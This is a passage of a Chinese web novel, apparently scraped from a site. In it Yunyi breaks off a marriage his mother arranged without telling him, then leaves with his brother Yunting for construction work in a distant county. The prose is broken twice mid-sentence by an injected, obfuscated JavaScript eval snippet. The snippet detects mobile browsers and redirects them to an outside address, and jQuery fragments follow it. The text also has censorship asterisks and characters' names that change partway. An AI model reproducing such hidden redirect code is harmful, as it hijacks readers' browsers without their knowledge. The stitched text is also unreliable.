佳华的话音刚落,站在一旁的佳红也赶紧附和道:“我也要吃喜糖!我也要吃好多好多的喜糖!”她那圆嘟嘟的小脸因为兴奋而变得红彤彤的,看上去可爱极了。 看到两个小家伙如此活泼可爱的模样,文孝忍不住皱起眉头,佯装生气地呵斥道:“你们这两个小崽子,别在这儿瞎捣乱了,快给我乖乖回屋去!” 然而,云义却仿佛没有听见文孝的话一般,依旧沉浸在震惊之中,喃喃自语道:“你们……你们是说,我要成亲?” 云亭一脸无辜地说道:“我可真不知道啊,娘从来都没有跟我提过这件事情呢!”他挠着头,似乎对这个消息感到十分惊讶。 一旁的唐小雨瞪大了双眼,难以置信地看着云亭,提高了音量喊道:“这么重要的大事儿,你们居然还都被蒙在鼓里啊?”她脸上露出一丝惊讶之色。 这时,文孝忍不住插嘴道:“哎呀,我一直在旁边向你使眼色,你咋就一点都看不明白呢!......”他一边说着,一边无奈地摇着头。 唐小雨白了文孝一眼,没好气地回应道:“哼,有啥话不能直说呀,非得在那儿挤眉弄眼的,我还当是你眼睛里不小心飞进去小虫子了呢!”说完,她还故意模仿起文孝刚才的表情动作来。 就在他们争论不休的时候,云义突然开口说道:“那这几床被子,我就先抱回去啦!”话音未落,只见他迅速弯下腰,抱起好几床被子,转身便朝家里走去。见此情景,云亭也只好赶紧跟上去,同样抱起几床被子紧紧地跟在了云义身后。 两人抱着被子在村中小道上走着,迎面遇到了几位村里的邻居。其中一个大妈热情地向云义打招呼道:“哟,云义啊,早就听说你娘讲你快要成亲啦,今天一看,果不其然呐,瞧瞧这喜被子都已经做好咯!”其他几个邻居也纷纷附和起来,七嘴八舌地议论着云义和他即将到来的婚事。 云义面沉似水,仿佛罩上了一层寒霜,他紧绷着脸,对周围的话语充耳不闻,甚至连一丝表情变化都吝于给予。 “这小子到底咋回事啊?跟他说句话,连理都不理!好像谁欠他钱了似的!”有人忍不住抱怨道。 终于,云义回到家中,只见他怒气冲冲地将那几床被子狠狠地甩到凳子上。 然后,对着母亲大声喊道:“娘,成婚这么重要的大事,您怎能连声招呼都不打就擅自决定呢?” 站在一旁的杏花显得有些手足无措,她嗫嚅着说道:“那个......你都知道了?” 这时,云亭也走过来帮腔道:“娘,您这样做可太不妥当了!这么大的事,不仅瞒住了云义,连我这个当哥哥的都被蒙在鼓里!” 杏花无奈地叹了口气,解释道:“唉,谁让你一直不情愿成家呢?我也是实在没办法了呀,才出此下策。如今,婚期已定,所有事宜都安排妥当了,就算你现在知道了,也为时已晚啦!” 听到这话,云义气急败坏地吼道:“那您至少该告诉我,我要娶的究竟是谁家的女子吧!” 杏花满脸笑容地劝解着云义:“好了,别再生气了嘛,娶媳妇可是天大的好事呀!那个姑娘你也见过的,就在那天你去的田家,人家虽然额头边上有那么一小块儿胎记,但我觉得真没啥大不了的,根本不会影响啥呢!” 听到这里,云义恍然大悟,他瞪大了眼睛说道:“哦,怪不得那天我从田家回来的时候,刘婶子的腿突然间就好了,敢情你们那天是故意把我骗过去的啊......” 第103章 悔婚 杏花有些不好意思地低下了头,轻声嘟囔道:“哎呀,我们这不都是为了你好嘛......” 这时一旁的云亭也反应过来,愤愤不平地抱怨道:“哼,怪不得那天你会骗我说文孝找我有事儿,原来是这么回事啊!” 话音未落,只见云义气呼呼地一转身,二话不说便迈开步子跑了出去。 杏花见状,顿时慌了神,连忙冲着云亭喊道:“云亭,你快点跟上去瞧瞧,可千万别让这个傻小子去胡闹!” 云亭见云义大步流星地向前走去,急忙加快脚步追了上去,一边跑一边喊道:“云义,等等我,你这么急匆匆的到底是要去哪儿呀?” 云义头也不回地大声回应道:“我要去把这门婚事给退掉,说啥我也不愿意成亲!” 云亭气喘吁吁地追到云义身边,拉住他说道:“都已经订好的亲事,怎么能说退就退呢?咱娘让你成婚肯定也是为了你好!” 云义猛地甩开云亭的手,愤愤不平地吼道:“我连那女子一面都未曾见过,凭啥就要娶她进门?要是你们非要逼我娶亲的话,那行,明天我就离家出走,这辈子都不再回来了!就让田家那个姑娘来代替我陪在你们身边吧!” 云亭听到这话,心里不由得一惊,他没想到云义竟然会如此决绝。 虽说母亲这次安排的婚事确实有些仓促和不妥当,但看云义这样子,可不像是随口说说吓唬人的。 云亭无奈地叹了口气,眼睁睁地看着云义气冲冲地转身离去。望着云义远去的背影,云亭站在原地愣了许久,最终还是摇了摇头,转过身慢慢地往家里走去。 刚一进家门,就看见杏花正焦急地等在门口,见到云亭便迫不及待地问道:“云义他干啥去了?你咋没跟紧点拦住他呢?” 云亭满脸焦急地对着母亲说道:“娘啊,您难道非得把云义逼得离家出走不可吗?” 杏花一脸惊愕地反问道:“你说什么呢?那个傻小子,应该不至于做出这种事来吧!” 云亭着急地跺了跺脚,语速加快道:“云义已经放话出来了,如果您坚持要娶田家那姑娘进门,他就要离开这个家,并且一辈子都不再回来,还要让田家那姑娘陪着您过一辈子呢!” 杏花一听,脸色瞬间变得煞白,嘴里喃喃自语道:“哎呀,作孽哟!这不是要害人家姑娘守活寡嘛!”她一边说着,一边用手拍打着自己的大腿。 云亭皱着眉头,语气严肃地对杏花说:“娘,这次确实是您考虑得不周全啊。依我看,云义可不像是在开玩笑或者吓唬我们,他说的那些恐怕都是真心话。您这样做,可别说是会害了人家姑娘一生的幸福,连云义这辈子可能都莫名其妙的被耽误了......” 杏花听到这里,突然一屁股瘫坐在旁边的凳子上,双手无力地垂落在身体两侧,眼神空洞无神,嘴里嘟囔着:“这可叫我如何是好啊?” 云亭看着母亲如此模样,心中也是十分不忍,但还是硬着头皮劝道:“既然云义这么不情愿,要不咱们就听从他的意见,把这门亲事给退了吧!” 杏花猛地抬起头来,瞪大眼睛看着云亭,提高音量喊道:“听他的?那他要是一辈子都不成婚,难道我也要一辈子不管他了吗?” 云亭被母亲这么一问,顿时语塞,不知道该如何回答才好。沉默片刻之后,他无奈地摊开双手,叹了口气说道:“这……那您说到底该怎么办才好?” 杏花双手叉腰,气呼呼地指着云亭说道:“你快去,把那个不知天高地厚的臭小子给我拽回来!然后把他给我关到屋子里去!” “哼,我倒要看看,他到底能耍出什么花样来,难不成还想翻天了不成!”她那愤怒的模样仿佛要喷出火来一般。 站在一旁的云亭看着母亲如此生气,不禁无奈地叹了口气,轻轻地摇了摇头。但他也深知杏花此时正在气头上,不好忤逆她的意思,于是只好转身快步朝着云义离去的方向追去。 而另一边,云义已经来到了田家门前。他抬起手,重重地敲了几下门。不一会儿,只听见屋内传来一阵脚步声,紧接着门被缓缓打开了。 开门的正是田小莺,只见她一脸疑惑地望着门外的云义,轻声问道:“你是......来找我的吗?” 云义一下子呆住了,他瞪大了眼睛,嘴巴微张着,心中暗自叫苦不迭。哎呀,这可怎么办才好呢?自己居然连人家姑娘叫什么名字都还一无所知啊! 他的目光不由自主地再次落在那女子的额头之上,果然像娘说的一样,侧边那里有着一小块淡淡的胎记。 这时,云义开口说道:“对,就是找你......” 话音未落,那位名叫田小莺的女子微微低下头去,轻声问道:“你找我究竟是有何事呀?咱们的婚期不都已经定下来了么?”她一边说着,一边用手轻轻摆弄着衣角,显得有些局促不安。 云义深吸一口气,鼓起勇气开口道:“实在不好意思,与你定下婚约的人其实是我的母亲,而这件事情一直瞒着我,直到刚才我才知晓此事。所以,希望你能够体谅我的难处。”说完这番话后,他忐忑不安地看着田小莺。 然而,田小莺显然被云义突如其来的话语惊呆了,她猛地抬起头来,难以置信地望着云义,声音略微颤抖地问道:“你说这话到底是什么意思?难道你是要悔婚?” 云义连忙解释道:“对不起,我只是觉得这场婚事并非出于我本人的意愿,而且如今既然已经弄清楚了状况,我还是想要解除这份婚约。不过你放心,当初送上门的聘礼,就当是我们家对你的补偿。” 听到这里,田小莺气得浑身发抖,眼眶也渐渐泛红起来,她怒目圆睁,指着云义气冲冲地吼道:“谁稀罕你们的聘礼,你们竟然这样戏弄于我!这让我以后如何见人?好端端的被人退了亲,别人只会说是我有问题!” 云义气冲冲地说道:“对不起,我所说的一切都是发自内心的真话!倘若你一意孤行、坚决要与我成婚,那么抱歉,我只能选择离家出走,而且这辈子都绝不会再踏足家门一步!” 田小莺听完这番决绝的话语后,泪水如决堤般涌出眼眶,她满脸委屈和不甘地哭诉道:“你们简直欺人太甚了!”说完便掩面转身,踉踉跄跄地冲进了屋子里。 此时的云义呆呆地伫立在门外,望着紧闭的房门,心中五味杂陈。他觉得自己把话说到如此地步,这个姑娘总该会想明白的吧? 然而,看着那扇紧闭的门扉,云义又不禁开始怀疑起自己刚刚说出口的那些狠话是否过于残忍无情。毕竟,田小莺也是无辜的……想到这里,云义忍不住深深地叹了口气,心中充满了郁闷。 在归家途中,行至姚家村时,只见不远处人头攒动,好不热闹。定睛一瞧,原来是姚光宇正站在人群中央,不知道说着什么。 从远处望去,他似乎精神焕发,满脸喜色。 好奇之下,云义快步凑上前去。此时,只听见村里众人将姚光宇团团围住,七嘴八舌地问道:“光宇啊,你这好些日子没见人影儿,到底跑哪儿发财去啦?” 姚光宇闻言,咧嘴嘿嘿一笑,挠了挠头说道:“发啥大财哟,不过就是挣点辛苦钱而已!”然而,尽管他嘴上这般谦虚,但脸上那掩饰不住的得意之色却早已出卖了他。 看着大家伙儿一个个都兴趣盎然的样子,姚光宇清了清嗓子,接着说道:“其实呀,是我那小舅子带我去的。地方有点远呢,可不在咱们这个县!你们还记得前段时间新县那场数月的大雨引发的洪水吧?很多房屋都被冲垮了,如今新县那边什么房屋都得重新造,而且那大河堤都要重新修缮。这不,我就跟着我小舅子一起去干力气活了!虽说路途遥远了些,但好在那儿管吃管住,而且每个月准时结一次工钱,倒也还算不错!” 正当姚光宇说得兴起之时,一旁的云义突然插了句嘴:“那还要人吗?要是可以的话,能不能把我也捎带上啊!” 话音刚落,周围立刻响起一片附和之声:“对对对,光宇,你看能不能也带上我们一块儿去呀!”一时间,场面变得愈发嘈杂起来。 此时,云亭也看到了围在人群周围的云义,只见他快步走上前去,扬起手轻轻拍了一下云义的肩膀,问道:“你这是凑啥热闹呢?” 云义被这一拍吓了一跳,转过头来,咧着嘴说道:“哥,你可不知道,他们说新县要修大桥大河堤啥的,听起来可老厉害了。我想去!天天守着这庄稼地,我还没出过县城呢!” 云亭皱了皱眉头,眼神中透露出一丝担忧,轻声说道:“咱娘恐怕不会同意的!你也知道咱娘的脾气,这突然要去那么远的地方,她肯定会担心的。” 云义一听,急得直跺脚,说道:“那我也得去!不然她净天天琢磨让我成亲的事儿。成天在我耳边念叨,烦**。我要去新县,我既能躲开这事儿,还能挣钱,多好啊。” 云亭看着云义那急切的模样,忍不住笑了笑,又问道:“我说,难道你就真的一点儿都不想成亲?你看村里和你一般大的,好多都成家立业,孩子都能打酱油了。有个媳妇照顾你,日子也能过得更舒坦些。” 云义不屑地撇了撇嘴,满不在乎地说道:“一个人也挺好的!我想干啥就干啥,无拘无束的。成亲了还得照顾媳妇孩子,多麻烦啊。再说了,我现在就想着去新县,哪有心思考虑成亲的事儿。” 就在这时,人群中传来了姚光宇洪亮的声音:“我说一下啊,大家伙儿若是有想去的,三天后早上八点还来这边儿集合,咱大家一块儿出发过去!这次去新县,可是个难得的好机会,大家都好好考虑考虑。”众人听了,纷纷交头接耳,议论纷纷。 云亭和云义对视了一眼,彼此心中都有了自己的想法。兄弟俩一前一后默默地回了家,对于想出去新县的事情,他们回家后也只字未提。回到家后,云义则坐在院子里发呆,脑海中全是新县那未知的景象。 兄弟俩前脚刚迈进家门不过十来分钟,后脚就听到一阵急促的脚步声。还没等他们反应过来,田家母亲便风风火火地闯了进来,脸上满是怒容。 她径直走到桌前,将手中那用红纸包着的礼金“啪”地一声狠狠拍在桌上,桌上的茶杯都跟着晃了晃,茶水溅出了些许。 她双手叉腰,扯着嗓子,怒气冲冲地喊道:“姓李的,你们家这是没事儿来耍我们田家玩呢?当我们是好欺负的不成!这婚,今天就得退了!你们也太欺负人了,哪有这样做事的!我今天来,就是代表我们田家正式退婚!” 杏花正从里屋走出来,见状赶忙堆起满脸的笑容,快步迎上前去,双手摆了摆,带着几分讨好地说道:“哎呦,田家大妹子,您这是怎么了呀?怎么突然就说起退婚的事儿了呢?这事儿可不能这么着急下结论呀。您先消消气,快进来喝杯茶,咱们慢慢说。”说着,她还伸手去拉田家母亲的胳膊。 田家母亲却一副十分嫌弃的模样,猛地甩开杏花的手,眼睛瞪得大大的,声音又提高了几分,愤怒地说道:“你们就别在这儿装糊涂了!你们家这小子刚才可是气势汹汹地去了我们家,跟我闺女说要退婚,还说什么非要嫁过来的话,就让我闺女守一辈子活寡。” “天底下哪有这样的道理?谁还敢把闺女嫁给你们这样的人家!我女儿年纪轻轻,还能找不到个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180476|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好人家嫁了!你们这是太欺负人了!”说着,她转身就要往外走,脚步又急又快,仿佛多待一秒都会被气炸。 杏花见状,心里一紧,连忙追了上去,双手在空中胡乱地挥舞着,大声喊道:“田家大妹子,你先别走啊,你听我解释啊!事情肯定是有什么误会。”她的声音里带着几分焦急和慌乱,额头上也冒出了细密的汗珠。 田家母亲连头都没回,只是加快了脚步,嘴里还气呼呼地说道:“没什么好解释的!你们家这做派,恐怕也没人敢跟你们家结亲了吧!从今往后,咱们两家就别再有什么瓜葛了!”她的身影很快消失在了门口,只留下杏花站在原地,一脸的无奈和焦急。 杏花满脸无奈地叹了一口气,她眉头紧皱,眼神里满是焦急和无奈,一边走着一边对着屋内喊道:“你这个死小子,到底在胡闹什么呀!你说说你,一天天的尽干些让人操心的事儿。” 她走到云义面前,满脸恨铁不成钢的模样:“你赶紧去田家赔礼道歉,这婚无论如何也得成了。田家那闺女多好啊,你可别再犯糊涂了,能不能让为娘我省点儿心啊!” 云义正坐在桌旁,听到杏花的话,他猛地站起身来,脸上满是倔强和不满:“我才不去……我是不会成这个婚的!田家那姑娘我根本就不喜欢,娘你就别逼我了。”他双手抱在胸前,眼神坚定地看着杏花,仿佛在表明自己的决心。 杏花一听云义这话,顿时火冒三丈,眼睛瞪得溜圆,大声骂道:“好哇,你翅膀硬了是吧!我辛辛苦苦把你拉扯大,为你操碎了心,现在给你安排一门好亲事,你倒还不乐意了。你要是不答应成这个婚,那咱俩就这么耗着。你一天不答应,我就一天不吃饭,我就不信你就那么不孝,眼看着我被饿死。”说着,她一屁股坐在椅子上,赌气似的,胸脯气得一起一伏。 这时,一直在一旁默默看着的云亭赶紧走上前来,满脸担忧地劝道:“娘,你这是干啥啊?有话好好说嘛,别把自己气坏了。云义他可能有自己的想法,咱们再商量商量不行吗?”他眼神里满是关切,轻轻拍了拍杏花的肩膀。 杏花却不耐烦地一甩胳膊,大声说道:“这儿没你们的事儿,你们都走开!我今天就是要让这小子知道,我这个当娘的也不是好惹的,他必须得听我的。”她的声音里带着一丝不容置疑的威严。 云义见母亲的态度如此强硬,心中的怒火也一下子升腾起来。他咬了咬牙,冷冷地说道:“既然娘你决意如此,那就随你便吧!”说完,他头也不回地大步朝着门外走去,那“咚咚咚”的脚步声仿佛在宣泄着他心中的不满和愤怒。 杏花看着云义离去的背影,又急又气,眼泪在眼眶里直打转,她指着门口,大声哭诉道:“你看看,这小子他是什么意思?我含辛茹苦把他养大,他就这么对我,我这是造了什么孽啊!”她双手捂住脸,身体微微颤抖着,伤心欲绝。 落日的余晖映照着众人略显焦急与无奈的面庞。秀兰走到杏花身旁,轻声劝道:“娘,云义如今已然长大成人,有自己的想法和主见了。往后有什么事儿,咱们真得好好跟他商量着来。他不是小孩子了,不是威胁他一两句就想把事情解决了。您这样瞒着他定了亲事,他心里肯定不痛快啊。” 杏花坐在椅子上,眉头紧皱,听了秀兰的话,犹豫了一下,声音带着几分无措:“那……那你们说,我还能怎么办?我也是为了他好啊,他怎么就不明白呢!” 云亭在一旁,面露担忧之色,上前一步说道:“娘……您仔细想想,云义他要是真的因为这事儿生气了,一去不回,您说您这么做又是图什么啊?咱们一家人有话好好说,何必要闹成这样呢。” 杏花听了云亭的话,心里一阵慌乱,猛地站起身来,急切地说道:“那……那你赶紧去把他给我找回来,哎……真是气死我了!这孩子,怎么就这么不懂事呢!” 云亭不敢耽搁,立刻转身,脚步匆匆地跑了出去。 在村子旁的小河边,云亭终于找到了云义。只见云义正独自坐在河边,望着河水发呆,映着他的身影显得格外落寞。 云亭走上前去,拍了拍云义的肩膀,说道:“云义,跟我回去吧,娘也知道错了。”云义没有说话,只是默默地站起身来,跟着云亭往家走去。 回到家中,云亭看着云义,轻声说道:“你去给娘道个歉吧……一家人能有多大的仇气啊。” 然而,云义却站在原地,一动不动,他的脸上带着一丝倔强,显然心里还憋着气。 而杏花坐在椅子上,虽然表面上装作很生气的样子,但眼神里却透露出一丝期待和不安,她心里同样也憋着气,两人就这么僵持着,谁也不想理谁,气氛一时间变得异常尴尬和压抑,仿佛有一层无形的墙横亘在他们中间。 秀兰坐在那,眼看着屋里的气氛因为这事儿变得有些紧张起来,空气都仿佛凝固了一般,每个人的脸上都带着一丝不悦。 她赶忙笑着开口,提高了几分音量说道:“哎,我也有件喜事儿想要告诉你们!” 这话一出,原本还僵着的大家伙儿齐刷刷地一脸疑惑地望向秀兰,眼神里满是好奇,仿佛在纳闷儿她说的到底是什么事儿。 秀兰被众人的目光看得有些不好意思,脸颊微微泛红,嘴角却止不住地上扬,她深吸一口气,大声宣布:“我怀老四了!” 杏花原本还紧皱着的眉头瞬间舒展开来,脸上满是惊喜,连忙拉着秀兰的手,急切地问道:“真的?什么时候的事儿啊?”那语气里满是关切和兴奋,仿佛这是世界上最值得高兴的事情。 云亭站在一旁,开心的脸上的笑容都快咧到耳根子了! 第104章 离别 秀兰用手轻抚着肚子,笑道:“也就才两个月而已!” 他一边搓着手,一边说道:“哎呀,咱家都三个小子了,这回要是个闺女可就太好了!咱家里也能有个贴心的小棉袄!”他越说越激动,眼神里满是对闺女的期待。 杏花一听,立马翻了个白眼,立马反驳道:“瞎说!还是小子好,小子有力气,以后能帮家里干不少活儿呢,等长大了还能撑起这个家。闺女以后是要嫁人的,终究是别人家的。”她的声音提高了几分,脸上带着不容置疑的神情。 云义他听闻了嫂子又怀孕了的消息,原本还算平静的脸庞瞬间闪过一丝动容。 他猛地站起身来,眼神中满是坚定,快步走到母亲身边,微微低下头,声音里带着些许愧疚说道:“娘,刚才是我不好。我不该那么冲动。我仔细想了想,现下家里又要多一口人,以后的花销肯定会更多。家里收成也就那样!” 说着他顿了一下:“我想跟姚光宇他们一起去新县那边赚点钱,贴补家用!我年轻力壮的,去那边说不定还能挣不少呢!” 云亭一直静静的听着,随后也跟着走到母亲跟前,脸上带着诚恳的神情,语气轻快却又透着坚定:“娘,不如我跟文义一起去!毕竟现在也不是农忙的季节,咱们家里这地里的活儿也不着急。多一个人就多一份力量,多赚一点是一点嘛!不能光让云义一个人出去,我们兄弟俩一起去,相互也有个照应。” “再说明年老三也该去读书了,等赚了钱回来,给你们都买点好吃的补补身子,也让咱们这个家的日子能过得更舒坦些。” 杏花坐在院子里的木椅上,微微叹了口气,眼神中带着几分岁月沉淀后的沧桑。 她看着面前站着的云义与云亭,摆了摆手,缓缓说道:“罢了罢了,我老了,也跟不上你们年轻人的想法咯,就随你们的去吧!” 她的目光满是慈爱,先是落在云义身上,接着又看向云亭,继续说道:“你们两个就放心去吧,不用惦记家里。家里有我照顾着,不会出什么乱子的。再说传家也不小了,也懂事了,能帮衬着家里照顾下弟弟们了,还能帮我做些简单的家务活儿。你们在外面就放宽心,不用担心家里面。” 云义听着母亲这番话,心底顿时涌起一阵开心。一直以来,母亲总念叨着让他成亲,如今母亲终于不再逼自己成亲了,他只觉得仿佛心头卸下了一块大石头,嘴角不自觉地上扬,眼睛里闪烁着轻松的光芒。 时光匆匆,又过了两天。夜幕降临,皎洁的月光洒在小院里,披上了一层银纱。秀兰在屋内帮云亭收拾着衣物,她的动作有些迟缓,眼神也有些飘忽。不知道为什么,这心里总是七上八下的,乱糟糟的,就像有一团乱麻在心里缠来绕去。 她停下手中的动作,抬起头,满是担忧地看着云亭,轻声说道:“你真的非要出去吗?我这心里乱得很!一想到你要离开,我这心怎么都安定不下来。”她的声音微微颤抖,眼中满是不舍。 云亭走上前,轻轻握住秀兰的手,眼神坚定而温柔,安慰道:“我出去最多就半年,你生孩子之前我一定回来!你就安心在家里养胎,别胡思乱想。我出去也是为了咱们这个家,等我赚了钱,就能让你和孩子过上好日子。到时候,给你买好看的布料做衣裳,给孩子买好多好吃的回来。”他一边说着,一边轻轻地拍了拍秀兰的手,似乎想要把自己的温暖和力量传递给她。 云亭转头又看向眼前几个孩子,清了清嗓子,语重心长地说道:“传家啊,在家里,你是大哥。过几日,我和你叔就要出远门去做工了,这一去也不知道什么时候能回来。你在家可一定要照顾好你娘!你娘现在怀有身孕;还有你奶奶,年纪大了,凡事都要多顺着她;另外两个弟弟还小,不懂事,你也要多帮忙照顾着点。听到了吗?” 传家站得笔直,胸脯微微挺起,一脸认真地回答:“我知道了爹,您就放心吧!我会照顾好他们的!我已经不小了,会像个男子汉一样照顾这个家的!”说着,他还不自觉地攥紧了拳头,仿佛在向父亲展示自己的决心。 云亭点了点头,又把目光转向传业,继续说道:“还有,你们两个,可要好好学习,要争气啊!咱们家没什么别的指望,就盼着你们能多读点书,将来有出息,走出这个村子,去外面的世界好好看看!” 传业用力地点了点头,脆生生地回答:“知道了爹!我每天都会好好读书写字,不会贪玩的!”那稚嫩的声音里满是坚定。 传家在一旁拍着胸脯,自信满满地说道:“放心吧,爹,我和传业的成绩那在学校里可是村里最好的!每次先生布置的功课,我们都能又快又好地完成,先生还经常夸我们呢!”他的脸上洋溢着自豪的笑容,眼睛亮晶晶的,仿佛在诉说着自己的优秀。 云亭却没有被传家的话完全打动,他微微皱起眉头,质疑道:“村里最好的?咱村才几个孩子啊,总共加起来也没多少。那别的村呢?人外有人,天外有天!” 秀兰正坐在床上,手里拿着针线,缝补着孩子们破了的衣裳。她缓缓停下手中的动作,转头看向云亭,眼神中满是担忧与不舍,轻声问道:“你这一走,真的要半年才能回来吗?”她一脸不舍得神情。 云亭转头看过来,脸上挤出一抹笑容,安慰她道:“要不然,我每个月领了工钱都回来一次!”可他心里也清楚,这不过是一句安慰的话罢了,工地离这里路途遥远,每个月回来一次谈何容易。 秀兰听了这话,嘴唇动了动,却不知道该说些什么。她的目光不由自主地落在了三个孩子身上。老大正端坐在桌子旁,用钢笔写着作业,一脸认真的面孔;老二和老三在屋里追逐打闹,时不时传来清脆的笑声。而她自己的肚子里,还孕育着一个新的生命。如果云亭不出去赚点钱的话,明年三个孩子的学费恐怕又是不够的,搞不好还得去借钱! 可是自己这心里真的是乱得很,就像一团理不清的麻线。让他去,这一去半年,他还从来没有离开家里这么久过,不让他去,一家人以后的生活恐怕也要艰难了!现在孩子多了,今年的收成又不好,她的眉头紧紧地皱在一起,眼神中满是纠结与无奈。 沉默了许久,秀兰缓缓站起身来,走到柜子前,打开那扇有些破旧的柜门,在里面翻找起来。过了一会儿,她从柜子里小心翼翼地拿出两双新纳好的鞋子,那鞋子上的针脚细密均匀,一看就是花了不少心思。她把鞋子递给云亭,说道:“44码是你的,43码是云义的,这两双新鞋子你就带着吧,免的在那边鞋子破了我又没办法补!”说着,她的眼中闪过一丝泪花。 云亭接过鞋子,心中一阵感动。他轻轻地抚摸着鞋子,仿佛能感受到秀兰对他的爱意与牵挂。他把鞋子小心地装进了随身的行李,心中暗暗发誓,一定要在外面好好赚钱,让家人过上好日子。 第二天一早,云亭就和云义一起起床了。他们简单地吃了点早饭,便背起行囊准备去姚家村。 临行前,院子里弥漫着一股难以言说的离愁别绪。杏花用粗糙的手不停地擦着眼泪。 她哽咽着,声音里带着浓浓的担忧:“云义啊,你这可是第一次出远门呐!到了外面,可要乖乖听你大哥的话啊!有啥事儿都要跟你大哥商量,千万别在外面胡闹,娘不求你在外面赚多少,只要能吃饱穿暖就行。” 文义站得笔直,眼神里满是坚定,说道:“娘,嫂子,你们就放心吧!我们这就走了!过不了几个月,我和大哥就回来了。”说完,他深深地看了一眼年迈的母亲和满脸担忧的嫂子,毅然转身。 文亭走上前去,轻轻地拍了拍秀兰的手,他的眼神里满是温柔与安慰:“放心吧,秀兰。过段时间我就能回来。你在家好好照顾自己和孩子们!” 秀兰微微点头,强忍着泪水,挤出一丝微笑:“你在外面也要照顾好自己,不用担心家里。” 谁也想不到,这看似平常的一句叮嘱与承诺,竟是他们夫妻之间说的最后一句话。命运就像一只无形的大手,悄然改变了他们的人生。 云亭兄弟两人与姚光宇兄弟几人踏上了远行的道路。长途奔波,终于到了新县。 当新县那条波涛壮阔的大河映入云义的眼帘时,他的眼睛瞬间瞪得老大,脸上满是震撼与惊喜。那奔腾不息的河水,犹如一条巨龙在大地上翻滚咆哮,溅起的浪花在阳光的照耀下闪烁着金色的光芒。 云义兴奋地指着大河喊道:“大哥,你看,这河好宽啊!我这辈子都还没见过这么大的河!” 文亭看着弟弟那副激动的模样,也不禁笑了起来:“傻小子,这外面的世界大着呢,你没见过的还多着呢。” 还好,派给他们两人的活儿还算比较简单,就是造土胚。造土胚的场地在一片空旷的荒地上,周围堆满了大大小小的土堆。文亭和云义挽起袖子,拿起工具,开始了一天的工作。他们先把土堆里的杂质挑出来,然后往土里加水加入稻草碎,一锹一锹地搅拌着,那泥土在他们的手下变得越来越细腻、越来越均匀。接着,他们把搅拌好的泥土放进模具里,用脚使劲地踩实,再用工具把表面抹平。一个个土胚在他们的手中诞生,整齐地排列在空地上。 两个人很快就适应了这份工作,每天都劲头满满。他们一边干活,一边聊天,笑声回荡在整个工地上。 再说杜秋丽那个姑娘,这姑娘生得眉清目秀,模样儿出挑,性子也是温柔善良,只是一直没遇到个合适的良人。 不过这次啊,她总算是遇到了一个满心喜欢她的男子。这人不是别人,正是干娘的娘家侄子,王家鹏! 王大娘自从没了丈夫以后,一直孤身一人过日子。她这娘家侄子**鹏,那可是个孝顺又贴心的好后生。隔段时间,就会带些吃的用的来看望王大娘。 什么新鲜应季的水果、自家打的米面,自家地里种的红薯绿豆,反正只要是他家里有的,他都会给王大娘送来一点。每次来的时候,还会帮着王大娘打扫打扫屋子,修缮修缮家里的物件。 **鹏第一次见到杜秋丽的时候,就被她的温婉动人给吸引住了。而杜秋丽呢,也觉得**鹏为人踏实稳重,长得也是一表人才,对他的印象很不错。从那之后,一来二去的,**鹏便与杜秋丽熟络了起来。 他们俩经常会坐在院子里,陪着王大娘有说有笑地聊天。有时候**鹏还会给杜秋丽讲一些外面的新鲜事儿,听得杜秋丽眼睛都亮闪闪的。 两个都未成婚的男女,就这样随着时间的推移,彼此的心里都渐渐生出了不一样的感觉。 **鹏看杜秋丽的眼神里,满是温柔与爱意;杜秋丽跟**鹏说话的时候,也总是不自觉地脸红心跳。再加上王大娘似乎也有意撮合他们俩,时不时地就会找借口让他们单独相处,这一来二去的,他们俩竟相互产生了情愫! 近日来,**鹏似乎来的更勤了。天还没大亮呢,**鹏就早早地起床了。他精心挑选了一只肥肥的大公鸡,用绳子绑好,然后小心翼翼地拎着,就往王大娘家赶去。一路上,他心里还美滋滋地想着,等会儿见到秋丽,她肯定又会像往常一样,笑着迎接他。 到了王大娘家的门口,**鹏扯着嗓子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187875|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊道:“大姑,你起床了没啊?”他这一嗓子,声音洪亮得很,在寂静的清晨里显得格外响亮。 秋丽正在屋里给王大娘熬药呢,听到**鹏的声音,立马放下手里的活,小跑着从屋里跑了出来。 她一看到**鹏,就赶紧伸出食指放在嘴边,做了个嘘的手势,然后轻声说道:“你小声些,干娘这两日像是着了凉,咳嗽的**病又犯了!昨晚上咳嗽了半宿,很晚才睡着!别把干娘吵醒了!”说着,秋丽还担忧地看了一眼王大娘的房间。 微风轻轻拂过,**鹏手里拎起那只**色油亮的大公鸡,脸上洋溢着灿烂的笑容,对着正站在一旁的杜秋丽说道:“那这鸡,就炖了给大姑和你补补身子吧!你看这鸡多肥实,炖出来的汤肯定又香又有营养。大姑年纪大了,需要补补,你平时也辛苦,更得好好补补。” 杜秋丽看着那只鸡,接了过来,轻轻地把鸡关进了笼子里,然后转过身,伸出手拉住**鹏的胳膊,不由分说地把他往自己的屋子拉去,嘴里说道:“我有什么好补的?我身体好着呢!你看我,每天干活儿都精神十足的,这鸡啊,留着过几天再说。” **鹏被杜秋丽拉着往前走,一边走一边急切地说道:“当然要补了,你看你,最近都瘦了。我要把你养的白白胖胖的才行!到时候你白里透红的,多好看啊。” 杜秋丽停下脚步,白了**鹏一眼,嗔怪道:“那不成了猪了!” 